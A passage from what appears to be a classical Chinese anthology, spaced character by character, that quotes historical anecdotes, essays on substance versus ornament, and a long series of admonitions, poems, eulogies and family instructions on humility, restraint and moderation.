朝 政 . 参 子 密 谏 参 . 参 笞 之 二 百 . 惠 帝 让 参 . 参 免 冠 谢 曰 . 高 帝 与 萧 何 定 天 下 . 法 令 既 明 具 . 陛 下 垂 拱 . 参 等 守 职 . 遵 而 勿 失 . 不 亦 可 乎 . 帝 曰 . 善 . 百 姓 之 曰 . 萧 何 为 法 . 讲 若 画 一 . 曹 参 代 之 . 守 而 勿 失 . 载 其 清 静 . 民 以 宁 一 .\n又 曰 . 张 释 之 为 谒 者 仆 射 . 文 帝 登 虎 圈 . 问 上 林 尉 禽 兽 簿 . 尽 不 能 对 . 虎 圈 啬 夫 从 傍 代 尉 对 . 悉 响 应 无 穷 . 帝 诏 释 之 . 拜 啬 夫 为 上 林 令 . 释 之 前 曰 . 陛 下 以 绛 侯 周 勃 何 人 也 . 上 曰 . 长 者 . 又 问 东 阳 侯 张 相 如 何 人 也 . 上 复 曰 . 长 者 . 释 之 曰 . 此 两 人 言 事 . 曾 不 出 口 . 岂 效 此 啬 夫 喋 喋 利 口 捷 急 哉 . 且 秦 以 任 刀 笔 之 吏 . 以 亟 疾 苛 察 相 高 . 无 恻 隐 之 实 . 是 故 不 闻 其 过 . 天 下 土 崩 . 今 陛 下 以 啬 夫 口 辩 而 超 迁 之 . 臣 恐 天 下 随 而 风 靡 . 争 口 辩 . 其 ○ 汉 书 五 十 释 之 传 其 上 有 亡 字 . 实 . 不 可 不 察 也 . 帝 乃 止 .\n晋 书 曰 . 殷 庆 元 质 略 有 明 规 . 文 武 可 施 用 也 .\n【 论 】 魏 阮 瑀 文 质 论 曰 . 盖 闻 日 月 丽 天 . 可 瞻 而 难 附 . 群 物 着 地 . 可 见 而 易 制 . 夫 远 不 可 识 . 文 之 观 也 . 近 而 得 察 . 质 之 用 也 . 文 虚 质 实 . 远 疏 近 密 . 援 之 斯 至 . 动 之 应 疾 . 两 仪 通 数 . 固 无 攸 失 . 若 乃 阳 春 敷 华 . 遇 冲 风 而 陨 落 . 素 叶 变 秋 . 既 究 物 而 定 体 . 丽 物 苦 伪 . 丑 器 多 牢 . 华 璧 易 碎 . 金 铁 难 陶 . 故 言 多 方 者 . 中 难 处 也 . 术 饶 津 者 . 要 难 求 也 . 意 弘 博 者 . 情 难 足 也 . 性 明 察 者 . 下 难 事 也 . 通 士 以 四 奇 高 人 . 必 有 四 难 之 忌 . 且 少 言 辞 者 . 政 不 烦 也 . 寡 知 见 者 . 物 不 扰 也 . 专 一 道 者 . 思 不 散 也 . 混 濛 薎 者 . 民 不 备 也 . 质 士 以 四 短 违 人 . 必 有 四 安 之 报 . 故 曹 参 相 齐 . 寄 托 狱 市 . 欲 令 奸 人 有 所 容 立 . 及 为 宰 相 . 饮 酒 而 已 . 故 夫 安 刘 氏 者 周 勃 . 正 嫡 位 者 周 勃 . 大 臣 木 强 . 不 至 华 言 . 孝 文 上 林 苑 欲 拜 啬 夫 . 释 之 前 谏 . 意 崇 敦 朴 . 自 是 以 降 . 其 为 宰 相 . 皆 取 坚 强 一 学 之 士 . 安 用 奇 才 . 使 变 典 法 .\n魏 应 玚 文 质 论 曰 . 盖 皇 穹 肇 载 . 阴 阳 初 分 . 日 月 运 其\n光 . 列 宿 曜 其 文 . 百 谷 丽 于 土 . 芳 华 茂 于 春 . 是 以 圣 人\n合 德 天 地 . 禀 气 淳 灵 . 仰 观 象 于 玄 表 . 俯 察 式 于 群 形 .\n穷 神 知 化 . 万 国 是 经 . 故 否 泰 易 趍 . 道 无 攸 一 . 二 政 代\n序 . 有 文 有 质 . 若 乃 陶 唐 建 国 . 成 周 革 命 . 九 官 咸 乂 .\n济 济 休 令 . 火 龙 黼 黻 . 暐 于 廊 庙 . 衮 冕 旗 旒 . 弈 乎\n朝 廷 . 冠 德 百 王 . 莫 参 其 政 . 是 以 仲 尼 叹 焕 乎 之 文 . 从\n郁 郁 之 盛 也 . 夫 质 者 端 一 玄 静 . 俭 啬 潜 化 利 用 . 承 清 泰\n. 御 平 业 . 循 轨 量 . 守 成 法 . 至 乎 应 天 顺 民 . 拨 乱 夷 世\n. 摛 藻 奋 权 . 赫 弈 丕 烈 . 纪 禅 协 律 . 礼 仪 焕 别 . 览 坟 丘\n于 皇 代 . 建 不 刊 之 洪 制 . 显 宣 尼 之 典 教 . 探 微 言 之 所 弊\n. 若 夫 和 氏 之 明 璧 . 轻 縠 之 褂 裳 . 必 将 游 玩 于 左 右 . 振\n饰 于 宫 房 . 岂 争 牢 伪 之 势 . 金 布 之 刚 乎 . 且 少 言 辞 者 .\n孟 僖 所 以 不 能 答 郊 劳 也 . 寡 智 见 者 . 庆 氏 所 以 困 相 鼠 也\n. 今 子 弃 五 典 之 文 . 闇 礼 智 之 大 . 信 管 望 之 小 . 寻 老 氏\n之 蔽 . 所 谓 循 轨 常 趍 . 未 能 释 连 环 之 结 也 . 且 高 帝 龙 飞\n丰 沛 . 虎 据 秦 楚 . 唯 德 是 建 . 唯 贤 是 与 . 陆 郦 摛 其 文 辩\n. 良 平 奋 其 权 谞 . 萧 何 创 其 章 律 . 叔 孙 定 其 庠 序 . 周 樊\n展 其 忠 毅 . 韩 彭 列 其 威 武 . 明 建 天 下 者 . 非 一 士 之 术 .\n营 宫 庙 者 非 一 匠 之 矩 也 . 逮 至 高 后 乱 德 . 损 我 宗 刘 . 朱\n虚 轸 其 虑 . 辟 强 释 其 忧 . 曲 逆 规 其 模 . 郦 友 诈 其 游 . 袭\n据 北 军 . 实 赖 其 畴 . 冢 嗣 之 不 替 . 诚 四 老 之 由 也 . 夫 谏\n则 无 义 以 陈 . 问 则 服 汗 沾 濡 . 岂 若 陈 平 敏 对 . 叔 孙 据 书\n. 言 辨 国 典 . 辞 定 皇 居 . 然 后 知 质 者 之 不 足 . 文 者 之 有\n余 .\n人 部 七 鉴\n诫\n易 曰 . 君 子 干 干 . 夕 惕 若 厉 .\n又 曰 . 天 道 恶 盈 而 福 谦 .\n尚 书 曰 . 帝 曰 . 来 . 禹 . 降 水 儆 予 . 成 允 成 功 . 克 勤 于 邦 . 克 俭 于 家 . 不 自 满 假 . 惟 汝 贤 . 汝 惟 不 矜 . 天 下 莫 与 汝 争 能 . 汝 惟 不 伐 . 天 下 莫 与 汝 争 功 .\n又 曰 . 无 稽 之 言 勿 听 . 弗 询 之 谋 勿 庸 .\n又 曰 . 玩 人 丧 德 . 玩 物 丧 志 . 不 作 无 益 害 有 益 . 功 乃 成 . 不 贵 异 物 贱 用 物 . 民 乃 足 . 犬 马 非 其 土 性 不 畜 . 珍 禽 奇 兽 不 育 于 国 . 不 宝 远 物 . 则 远 人 格 . 所 宝 惟 贤 . 则 迩 人 安 . 不 矜 细 行 . 终 累 大 德 . 为 山 九 仞 . 功 亏 一 篑 .\n又 曰 . 功 崇 惟 志 . 业 广 惟 勤 . 位 不 期 骄 . 禄 不 期 侈 .\n又 曰 . 作 德 心 逸 日 休 . 作 伪 心 劳 日 拙 . 居 宠 思 危 .\n又 曰 . 戒 慎 无 虞 . ● 失 法 度 .\n又 曰 . 戒 之 用 休 . 董 之 用 威 .\n毛 诗 曰 . 惴 惴 小 心 . 如 临 于 谷 .\n又 曰 . 殷 鉴 不 远 . 在 夏 后 之 世 .\n左 传 曰 . 晋 既 胜 楚 . 范 宣 子 立 于 戎 马 之 前 曰 . 君 幼 . 诸 臣 不 佞 . 何 以 及 此 . 天 命 不 于 常 . 有 德 之 谓 也 .\n又 曰 . 祸 福 无 门 . 唯 人 所 召 .\n又 曰 . 臧 孙 云 . 季 孙 之 爱 我 . 疾 疹 也 . 孟 孙 之 恶 我 . 药 石 也 . 美 疹 不 如 恶 石 . 孟 孙 死 . 吾 亡 无 日 矣 .\n礼 记 曰 . 好 田 好 女 者 . 亡 其 国 .\n孝 经 曰 . 在 上 不 骄 . 高 而 不 危 . 所 以 长 守 贵 也 .\n论 语 曰 . 君 子 有 三 戒 . 少 之 时 . 戒 之 在 色 . 及 其 壮 也 . 戒 之 在 斗 . 及 其 老 也 . 戒 之 在 得 .\n又 曰 . 如 有 周 公 之 才 之 美 . 使 骄 且 吝 . 其 余 不 足 观 也 .\n太 公 金 匮 曰 . 武 王 问 师 尚 父 曰 . 五 帝 之 戒 . 可 得 闻 乎 . 师 尚 父 曰 . 舜 之 居 民 上 . 矜 矜 如 履 薄 冰 . 禹 之 居 民 上 . 栗 栗 如 恐 不 满 . 汤 之 居 民 上 . 翼 翼 乎 惧 不 敢 息 .\n又 曰 . 吾 闻 道 自 微 而 生 . 祸 自 微 而 成 . 家 语 曰 . 孔 子 去 周 . 而 老 子 送 之 曰 . 凡 当 世 之 士 . 聪 明 深 察 而 死 者 . 好 议 人 者 也 . 博 辩 宏 大 而 危 者 . 好 发 人 之 恶 者 也 . 孔 子 曰 . 敬 奉 教 .\n又 曰 . 舟 非 水 不 行 . 水 入 舟 没 . 民 非 君 不 治 . 民 犯 上 则 君 危 . 故 君 子 不 可 不 严 也 .\n又 曰 . 颜 回 谓 子 路 曰 . 力 猛 于 德 而 得 其 死 者 . 鲜 矣 . 子 慎 诸 .\n又 曰 . 以 富 贵 而 下 人 . 何 人 不 与 . 富 贵 而 敬 爱 . 何 人 不 亲 . 发 言 不 逆 . 可 谓 知 言 矣 .\n又 曰 . 曾 子 曰 . 狎 甚 则 简 . 庄 甚 则 不 亲 . 是 故 君 子 之 狎 足 以 交 其 劝 . 庄 足 以 成 礼 而 已 矣 .\n韩 诗 外 传 曰 . 昔 者 禹 以 夏 王 . 桀 以 夏 亡 . 汤 以 殷 王 . 纣 以 殷 亡 . 故 无 常 安 之 国 . 宜 治 之 民 . 得 贤 则 昌 . 不 肖 则 亡 . 夫 明 镜 所 以 照 形 也 . 往 古 所 以 知 今 也 . 鄙 语 曰 . 不 知 为 吏 . 视 已 成 事 . 前 车 覆 . 后 车 诫 .\n又 曰 . 曾 子 曰 . 君 子 有 三 言 . 可 实 ○ 韩 诗 外 传 二 作 贯 . 而 佩 也 . 一 曰 无 内 疏 而 外 亲 . 二 曰 身 不 善 而 怨 他 人 . 三 曰 患 已 至 而 后 呼 天 .\n战 国 策 曰 . 昔 仪 狄 作 酒 而 美 . 进 之 于 禹 . 禹 饮 而 甘 之 . 遂 疏 仪 狄 绝 旨 酒 . 曰 . 后 世 必 有 以 酒 亡 其 国 者 .\n管 子 曰 . 齐 桓 公 与 管 仲 鲍 叔 牙 宁 戚 四 人 饮 . 公 曰 . 何 不 为 寡 人 寿 . 鲍 叔 牙 奉 杯 而 起 曰 . 使 公 无 忘 在 莒 . 管 仲 无 忘 其 束 缚 在 鲁 . 宁 戚 无 忘 饭 牛 车 下 . 公 避 席 再 拜 .\n鬻 子 曰 . 昔 周 公 使 康 叔 守 殷 . 戒 之 曰 . 无 煞 不 辜 . 宁 失 有 罪 . 亦 有 无 罪 而 见 诛 . 无 有 有 功 而 不 赏 . 慎 之 .\n晏 子 曰 . 君 子 居 必 择 邻 . 游 必 就 士 . 可 以 避 患 也 .\n又 曰 . 其 文 好 者 身 必 剥 . 其 角 美 者 身 见 煞 . 甘 泉 必 竭 . 直 木 必 伐 .\n又 曰 . 夫 爵 益 高 者 意 益 下 . 官 益 大 者 心 益 小 . 禄 益 厚 者 施 益 博 .\n又 曰 . 人 之 将 疾 . 必 先 不 甘 粱 肉 之 味 . 国 之 将 亡 . 必 先 恶 忠 臣 之 语 .\n孙 卿 子 曰 . 孔 子 对 鲁 哀 公 曰 . 君 者 . 舟 也 . 庶 人 者 . 水 也 . 水 则 载 舟 . 水 则 覆 舟 . 君 以 此 思 危 . 则 不 危 焉 .\n又 曰 . 得 师 者 王 . 得 疑 者 霸 . 自 为 谋 莫 己 若 者 亡 .\n又 曰 . 伯 禽 将 归 于 鲁 . 周 公 谓 伯 禽 曰 . 君 子 力 如 牛 . 不 与 牛 争 力 . 走 如 马 . 不 与 马 争 走 . 智 如 士 . 不 与 士 争 智 . 我 文 王 之 子 . 武 王 之 弟 . 成 王 之 叔 父 . 吾 于 天 下 . 亦 不 贱 也 . 常 握 发 吐 餐 . 以 接 天 下 之 士 矣 .\n韩 子 曰 . 西 门 豹 性 急 . 佩 韦 以 自 缓 . 董 安 于 心 缓 . 佩 带 以 自 急 . 故 能 以 有 余 补 不 足 . 以 长 续 短 之 谓 明 主 .\n淮 南 子 曰 . 天 下 有 至 贵 . 而 非 势 位 也 . 有 至 富 . 而 非 金 玉 也 . 有 至 寿 . 而 非 千 岁 . 愿 恕 反 性 . 则 贵 矣 . 适 情 知 足 . 则 富 矣 . 明 死 生 之 分 . 则 寿 矣 .\n说 苑 曰 . 魏 武 侯 浮 西 河 . 中 流 . 谓 吴 起 曰 . 美 哉 河 山 之 固 . 此 魏 国 之 宝 也 . 对 曰 . 在 德 不 在 险 . 昔 夏 桀 之 君 . 左 河 济 . 右 太 华 . 伊 ● 在 其 南 . 羊 肠 在 其 北 . 不 循 仁 政 . 汤 放 之 . 武 侯 曰 . 善 .\n又 曰 . 有 身 贵 而 骄 人 者 . 民 去 之 . 位 高 而 擅 权 者 . 君 恶 之 . 禄 厚 而 不 知 足 者 . 患 处 之 .\n新 序 曰 . 齐 王 聘 田 巴 先 生 而 将 问 政 焉 . 对 曰 . 政 在 正 身 . 正 身 之 本 . 在 于 群 臣 . 王 召 臣 . 臣 改 制 鬋 饰 . 问 于 妾 . 奚 若 . 妾 爱 臣 . 谀 臣 曰 佼 . 臣 临 淄 水 而 观 . 然 后 自 知 丑 恶 也 . 今 齐 之 臣 谀 王 者 众 . 王 能 临 淄 水 见 己 之 恶 . 过 而 自 改 . 斯 齐 国 治 矣 .\n汉 书 曰 . 扬 恽 失 官 居 家 . 治 产 业 . 起 室 宅 . 孙 会 宗 戒 之 曰 . 为 大 臣 废 退 . 当 阖 门 惶 恐 . 为 可 怜 之 意 . 不 当 通 宾 客 . 有 称 誉 也 .\n东 观 汉 记 曰 . 冯 勤 迁 司 徒 . 是 时 三 公 多 见 罪 退 . 上 欲 见 令 以 善 自 矜 . 乃 因 宴 见 . 从 容 戒 之 曰 . 朱 浮 上 不 忠 于 君 . 下 凌 轹 同 列 . 竟 以 中 伤 人 臣 . 放 逐 受 诛 . 虽 追 加 赏 赐 . 不 足 以 偿 不 訾 之 身 . 忠 臣 孝 子 之 览 照 前 世 以 为 镜 诫 . 能 尽 忠 于 国 . 事 君 无 二 . 则 爵 赏 光 乎 当 世 . 功 名 列 于 不 朽 . 可 不 勉 哉 .\n又 曰 . 樊 宏 为 人 谦 慎 . 常 戒 其 子 曰 . 富 贵 盈 溢 . 未 有 能 终 者 . 天 道 恶 满 而 好 谦 . 前 世 贵 戚 . 皆 明 戒 也 . 保 身 全 己 . 岂 不 乐 哉 .\n又 曰 . 班 超 为 都 护 . 以 任 尚 代 超 . 尚 谓 超 曰 . 君 在 外 国 三 十 余 年 . 而 小 人 猥 承 君 后 . 宜 有 以 诲 之 . 超 曰 . 塞 外 吏 士 . 本 非 孝 子 顺 孙 . 皆 以 过 罪 徙 补 边 . 而 蛮 夷 怀 鸟 兽 之 心 . 难 禁 易 败 . 今 君 性 严 急 . 水 清 无 大 鱼 . 察 政 不 及 得 下 和 . 宜 阳 为 简 易 . 宽 小 过 . 捴 大 纲 而 已 .\n【 诗 】 后 汉 傅 毅 迪 志 诗 曰 . 咨 尔 庶 士 . 迨 时 斯 勖 . 日 月 逾 迈 . 岂 云 旋 复 . 于 赫 我 祖 . 显 于 殷 国 . 二 迹 阿 衡 . 克 光 其 则 . 咨 予 小 子 . 秽 陋 靡 逮 . 惧 我 世 烈 . 于 兹 以 坠 . 于 戏 君 子 . 无 恒 自 逸 . 徂 年 如 流 . 渺 兹 暇 日 .\n魏 陈 王 曹 植 矫 志 诗 曰 . 芝 桂 虽 芳 . 难 以 饵 鱼 . 尸 位 素 餐 . 难 以 成 居 . 磁 石 引 . 于 金 不 连 . 大 朝 举 士 . 愚 不 闻 焉 .\n又 矫 志 诗 曰 . 抱 璧 涂 乞 . 无 为 贵 宝 . 履 仁 遘 福 . 无 为 贵 道 . 鸳 鶵 远 害 . 不 羞 卑 栖 . 灵 虬 避 难 . 不 耻 污 泥 . 都 蔗 虽 甘 . 杖 之 必 折 . 巧 言 虽 美 . 用 之 必 灭 . 济 济 唐 朝 . 万 邦 作 孚 . 逢 蒙 虽 巧 . 必 得 良 弓 . 贤 主 虽 智 . 亦 待 英 雄 . 螳 蜋 见 叹 . 齐 士 轻 战 . 越 王 轼 蛙 . 国 以 死 献 . 道 远 知 骥 . 世 伪 知 贤 . 覆 之 焘 之 . 顺 天 之 矩 . 泽 如 凯 风 . 惠 如 时 雨 . 口 为 禁 闼 . 舌 为 发 机 . 门 机 之 ● . ○ 冯 校 本 作 关 . 楛 矢 不 追 .\n魏 繁 钦 远 戍 劝 戒 诗 曰 . 肃 将 王 事 . 集 此 扬 土 . 凡 我 同 盟 . 既 文 既 武 . 郁 郁 桓 桓 . 有 规 有 矩 . 务 在 和 光 . 同 尘 共 垢 . 各 竞 其 心 . 为 国 蕃 辅 . 訚 訚 衎 衎 . 非 法 不 语 . 可 否 相 济 . ● 则 云 补 .\n又 杂 诗 曰 . 世 俗 有 险 易 . 时 运 有 盛 衰 . 老 氏 和 其 光 . 蘧 瑗 贵 可 怀 .\n魏 应 璩 杂 诗 曰 . 细 微 可 不 慎 . 堤 溃 自 蚁 隙 . 腠 理 早 从 事 . 安 复 劳 针 石 . 哲 人 睹 未 形 . 愚 夫 闇 明 白 . 曲 突 不 见 宾 . 燋 烂 为 上 客 . 思 愿 献 良 规 . 江 海 傥 不 逆 . 狂 言 虽 寡 善 . 犹 有 如 鸡 跖 . 鸡 跖 食 不 已 . 齐 王 为 肥 泽 .\n晋 张 华 励 志 诗 曰 . 仁 道 不 遐 . 德 輶 如 羽 . 求 焉 斯 至 . 众 鲜 克 举 . 复 礼 终 朝 . 天 下 归 仁 . 若 金 受 砺 . 若 泥 在 钧 . 进 德 修 业 . 晖 光 日 新 .\n晋 潘 安 仁 家 风 诗 曰 . 绾 发 绾 发 . 发 亦 鬓 止 . 日 祗 日 祗 . 敬 亦 慎 止 . 靡 专 靡 有 . 受 之 父 母 . 鸣 鹤 匪 和 . 析 薪 弗 荷 . 隐 忧 孔 疚 . 我 堂 靡 构 . 义 方 既 训 . 家 道 颖 颖 . 岂 敢 荒 宁 . 一 日 三 省 .\n晋 嵇 绍 赠 石 季 伦 诗 曰 . 人 生 禀 五 常 . 中 和 为 至 德 . 嗜 欲 虽 不 同 . 成 生 所 不 识 . 仁 者 安 其 身 . 不 为 外 物 惑 . 事 故 诚 多 端 . 未 若 酒 之 贼 . 内 以 损 性 命 . 烦 辞 伤 轨 则 屡 饮 致 疲 怠 . 清 和 自 否 塞 . 阳 坚 ○ 按 此 用 子 反 事 . 当 作 竖 . 败 楚 军 . 长 夜 倾 宗 国 . 诗 书 着 明 戒 . 量 体 节 饮 食 . 远 希 彭 聃 寿 . 虚 心 处 冲 默 . 茹 芝 味 醴 泉 . 何 为 昏 酒 色 .\n【 赋 】 魏 文 帝 戒 盈 赋 序 曰 . 避 暑 东 合 . 延 宾 高 会 . 酒 酣 乐 作 . 怅 然 怀 盈 满 之 戒 . 乃 作 斯 赋 . 惟 应 龙 之 将 举 . 飞 云 降 而 下 征 . 资 物 类 之 相 感 . 信 贯 微 之 通 ● . 何 今 日 之 延 宾 . 君 子 纷 其 集 庭 . 信 临 高 而 增 惧 . 独 处 满 而 怀 愁 . 愿 群 士 之 箴 规 . 博 纳 我 以 良 谋 . 吴 杨 泉 赞 善 赋 曰 . 伊 善 恶 之 所 施 . 乃 祸 福 之 为 阶 . 行 德 安 而 保 身 . 忘 为 害 而 自 危 . 故 先 民 之 有 作 . 执 温 恭 而 不 亏 . 云 颜 冉 之 遭 命 . 祸 福 之 参 差 . 夫 二 贤 之 履 道 . 历 千 载 而 见 知 . 身 既 没 而 名 存 . 厥 复 戚 乎 何 为 . 夫 死 生 之 有 命 . 非 神 明 之 所 规 . 故 积 善 之 家 . 厥 福 惟 昌 . 积 恶 之 门 . 必 有 余 殃 . 是 以 赵 武 好 善 . 厥 胤 以 长 . 三 郤 好 胜 . 厥 身 以 亡 . 古 人 从 善 如 不 及 . 去 恶 如 探 汤 . 恐 福 德 而 难 值 . 而 祸 恶 之 易 当 .\n【 赞 】 晋 戴 逵 申 三 复 赞 曰 . 嗜 好 深 则 天 机 浅 . 名 利 集 则 纯 白 离 . 如 此 故 识 鉴 逾 昏 . 骄 淫 弥 汰 . 心 与 慎 乖 . 则 理 与 险 会 . 然 后 役 智 以 御 险 . 履 险 以 逃 害 . 故 阴 阳 寇 其 内 . 人 力 攻 其 外 . 阴 阳 结 则 金 石 为 之 消 . 人 事 至 则 虽 智 不 足 赖 . 若 然 者 . 虽 翠 幄 华 堂 . 焉 得 而 康 之 . 列 鼎 重 味 . 焉 得 而 尝 之 .\n周 庾 信 周 公 伯 禽 赞 曰 . 伯 禽 居 鲁 . 鸣 玉 来 朝 . 周 公 问 政 . 治 国 风 谣 . 北 山 有 梓 . 南 山 有 桥 . 礼 容 虽 备 . 俯 仰 无 骄 .\n【 箴 】 梁 武 帝 凡 百 箴 曰 . 凡 百 众 庶 . 尔 其 听 之 . 事 无 大 小 . 先 当 熟 思 . 思 之 不 熟 . 致 成 反 覆 . 其 心 不 定 . 不 可 施 令 . 是 曰 乱 常 . 是 曰 败 政 . 弗 止 辱 身 . 亦 丧 厥 命 . 勿 恃 尔 尊 . 骄 慢 淫 昏 . 勿 谓 尔 贵 . 长 夜 荒 醉 . 日 不 恒 中 . 月 盈 则 亏 . 履 邪 念 正 . 居 安 思 危 . 莫 言 尔 贱 . 而 不 受 命 . 君 子 小 人 . 本 无 定 性 . 莫 言 人 微 . 而 以 自 轻 . 水 清 照 净 . 表 直 影 端 . 近 取 诸 身 . 无 假 远 观 . 猗 欤 哲 人 . 勿 谓 斯 难 .\n【 训 】 晋 潘 岳 两 阶 铜 人 训 曰 . 言 之 有 臧 . 托 乎 多 士 . 言 之 不 臧 . 绝 之 由 己 . 无 曰 莫 传 . 宣 于 四 海 . 无 曰 莫 闻 . 响 振 万 里 . 枢 机 之 发 . 荣 辱 之 征 . 怨 岂 在 大 . 介 是 兴 .\n【 诫 】 汉 东 方 朔 诫 子 曰 . 明 者 处 世 . 莫 尚 于 中 . 优 哉 游 哉 . 与 道 相 从 . 首 阳 为 拙 . 柳 惠 为 工 . 饱 食 安 步 . 以 仕 代 农 . 依 隐 玩 世 . 诡 时 不 逢 . 是 故 才 尽 者 身 危 . 好 名 者 得 华 . 有 群 者 累 生 . 孤 贵 者 失 和 . 遗 余 者 不 匮 . 自 尽 者 无 多 . 圣 人 之 道 . 一 龙 一 蛇 . 形 见 神 藏 . 与 物 变 化 . 随 时 之 宜 . 无 有 常 家 .\n后 汉 郑 玄 戒 子 曰 . 宿 业 衰 落 . 仍 有 失 误 . 年 入 此 岁 . 而 七 十 矣 . 于 礼 可 传 家 事 . 今 我 告 尔 以 老 . 将 闲 居 以 安 性 . 覃 思 以 终 业 . 非 拜 国 君 之 命 . 问 族 亲 忧 患 . 展 敬 坟 墓 . 春 秋 观 省 野 物 . 胡 常 扶 杖 出 门 乎 . 家 事 大 小 . 汝 一 承 之 . 求 为 君 子 之 道 . 钻 研 勿 替 . 敬 顺 威 仪 . 以 近 有 德 . 显 誉 成 于 僚 友 . 德 行 立 于 己 志 . 可 不 深 念 耶 .\n后 汉 高 义 方 清 诫 曰 . 天 长 而 地 久 . 人 生 则 不 然 . 又 不 养 以 福 . 保 全 其 寿 年 . 饮 酒 病 我 性 . 思 虑 害 我 神 . 美 色 伐 我 命 . 利 欲 乱 我 真 . 神 明 无 聊 赖 . 愁 毒 于 众 烦 . 中 年 弃 我 逝 . 忽 若 风 过 山 . 形 气 各 分 离 . 一 往 不 复 还 . 上 士 愍 其 痛 . 抗 志 凌 云 烟 . 涤 荡 弃 秽 累 . 飘 邈 任 自 然 . 退 修 清 以 净 . 存 吾 玄 中 玄 . 澄 心 剪 思 虑 . 泰 清 不 受 尘 . 恍 惚 中 有 物 . 希 微 无 形 端 . 智 虑 赫 赫 尽 . 谷 神 绵 绵 存 .\n魏 王 肃 家 诫 曰 . 夫 酒 所 以 行 礼 养 性 命 欢 乐 也 . 过 则 为 患 . 不 可 不 慎 . 是 故 宾 主 百 拜 . 终 日 饮 酒 . 而 不 得 醉 . 先 王 所 以 备 酒 祸 也 . 凡 为 主 人 饮 客 . 使 有 酒 色 而 已 . 无 使 至 醉 . 若 为 人 所 强 . 必 退 席 长 跪 . 称 父 诫 以 辞 之 . 敬 仲 辞 君 . 而 况 于 人 乎 . 为 客 又 不 得 唱 造 酒 史 也 . 若 为 人 所 属 . 下 坐 行 酒 . 随 其 多 少 . 犯 令 行 罚 . 示 有 酒 而 已 . 无 使 多 也 . 祸 变 之 兴 . 常 于 此 作 . 所 宜 深 慎 .\n魏 王 昶 家 诫 曰 . 夫 立 功 者 有 二 难 . 功 就 而 身 不 退 . 一 难 也 . 退 而 不 静 . 务 伐 其 功 . 二 难 也 . 且 怀 禄 之 士 . 宠 之 臣 . 苟 患 失 之 . 何 所 不 至 . 若 乐 毅 帅 弱 燕 之 众 . 东 破 强 齐 . 收 七 十 余 城 . 其 功 盛 矣 . 知 难 而 退 . 保 身 全 名 . 张 良 杖 剑 建 策 . 光 济 大 汉 . 辞 三 万 户 封 . 学 养 性 之 道 . 弃 人 闲 之 事 . 卒 无 咎 悔 . 何 二 贤 绰 绰 有 余 裕 哉 . 治 家 亦 有 患 焉 . 积 而 不 能 散 . 则 有 鄙 之 累 . 积 而 好 奢 . 则 离 骄 上 之 罪 . 大 者 破 家 . 小 者 辱 身 . 此 二 患 也 .\n魏 荀 爽 女 诫 曰 . 诗 云 . 泉 源 在 左 . 淇 水 在 右 . 女 子 有 行 . 远 父 母 兄 弟 . 明 当 许 嫁 . 配 适 君 子 . 竭 节 从 理 . 昏 定 晨 省 . 夜 卧 早 起 . 和 颜 悦 色 . 事 如 依 恃 . 正 身 洁 行 . 称 为 顺 妇 . 以 崇 螽 斯 百 叶 之 祉 . 婚 姻 九 族 . 云 胡 不 喜 . 圣 人 制 礼 . 以 隔 阴 阳 . 七 岁 之 男 . 王 母 不 抱 . 七 岁 之 女 . 王 父 不 持 . 亲 非 父 母 . 不 与 同 车 . 亲 非 兄 弟 . 不 与 同 筵 . 非 礼 不 动 . 非 义 不 行 . 是 故 宋 伯 姬 遭 火 不 下 堂 . 知 必 为 灾 . 傅 母 不 来 . 遂 成 于 灰 . 春 秋 书 之 . 以 为 高 也 .\n魏 程 晓 女 典 篇 曰 . 丈 夫 百 行 . 以 功 补 过 . 妇 人 四 教 . 以 备 为 成 . 妇 德 ● . 则 仁 义 废 矣 . 妇 言 亏 . 则 辞 令 慢 矣 . 妇 工 简 . 则 织 纴 荒 矣 . 是 以 礼 有 功 宫 家 室 之 教 . 诗 有 牖 下 苹 藻 之 奠 . 然 后 家 道 谐 允 . 仪 表 则 见 于 内 . 若 夫 丽 色 妖 容 . 高 才 美 辞 . 貌 足 倾 城 . 言 以 乱 国 . 此 乃 兰 形 棘 心 . 玉 曜 瓦 质 . 在 邦 必 危 . 在 家 必 亡 .\n晋 嵇 康 家 诫 曰 . 人 无 志 . 非 人 也 . 但 君 子 用 心 . 有 所 准 行 . 当 量 其 善 者 . 拟 议 而 后 动 . 若 心 之 所 之 . 则 口 与 心 誓 . 守 死 无 贰 . 耻 躬 不 逮 . 期 于 必 济 . 若 心 疲 体 懈 . 或 牵 于 外 物 . 或 累 于 内 欲 . 不 堪 近 患 . 不 忍 小 情 . 则 议 于 去 就 . 议 于 去 就 . 则 二 心 交 争 . 二 心 交 争 . 则 向 所 以 见 役 之 情 胜 矣 . 或 有 中 道 而 废 . 或 有 未 成 而 败 . 以 之 守 则 不 固 . 以 之 攻 则 怯 弱 . 与 之 誓 则 多 违 . 与 之 谋 则 善 泄 . 临 乐 则 肆 情 . 处 逸 则 极 意 . 故 虽 荣 华 熠 熠 . 无 结 秀 之 勤 . 终 年 之 勤 . 无 一 日 之 功 . 斯 君 子 所 以 叹 息 也 . 若 夫 申 胥 之 长 吟 . 夷 叔 之 全 洁 . 展 季 之 执 信 . 苏 武 之 守 节 . 可 谓 固 矣 . 故 以 无 心 守 之 . 安 而 体 之 . 若 自 然 也 . 乃 是 守 志 盛 者 也 .\n吴 姚 信 诫 子 曰 . 古 人 行 善 者 . 非 名 之 务 . 非 人 之 为 . 心 自 甘 之 . 以 为 己 度 . 险 易 不 亏 . 终 始 如 一 . 进 合 神 契 . 退 同 人 道 . 故 神 明 佑 之 . 众 人 尊 之 . 而 声 名 自 显 . 荣 禄 自 至 . 其 势 然 也 . 又 有 内 析 外 同 . 吐 实 怀 诈 . 见 贤 则 暂 自 新 . 独 居 则 纵 所 欲 . 闻 誉 则 惊 自 饰 . 见 尤 则 弃 善 端 . 凡 失 名 位 . 恒 多 怨 人 而 害 善 . 怨 一 人 则 众 人 疾 之 . 害 一 善 则 众 人 怨 之 . 虽 欲 陷 人 而 进 己 . 不 可 得 也 . 祗 所 以 自 毁 耳 . 顾 真 伪 不 可 掩 . 褒 贬 不 可 妄 . 舍 伪 从 实 . 遗 己 察 人 . 可 以 通 矣 . 舍 己 就 人 . 去 否 适 泰 . 可 以 弘 矣 . 贵 贱 无 常 . 唯 人 所 速 . 苟 善 . 则 疋 夫 之 子 . 可 至 王 公 . 苟 不 善 . 则 王 公 之 子 . 反 为 凡 庶 . 可 不 勉 哉 .\n吴 陆 景 诫 盈 曰 . 富 贵 天 下 之 至 荣 . 位 势 人 情 之 所 趍 . 然 古 之 智 士 . 或 山 藏 林 窜 . 忽 而 不 慕 . 或 功 成 身 退 . 逝 若 脱 屣 者 . 何 哉 . 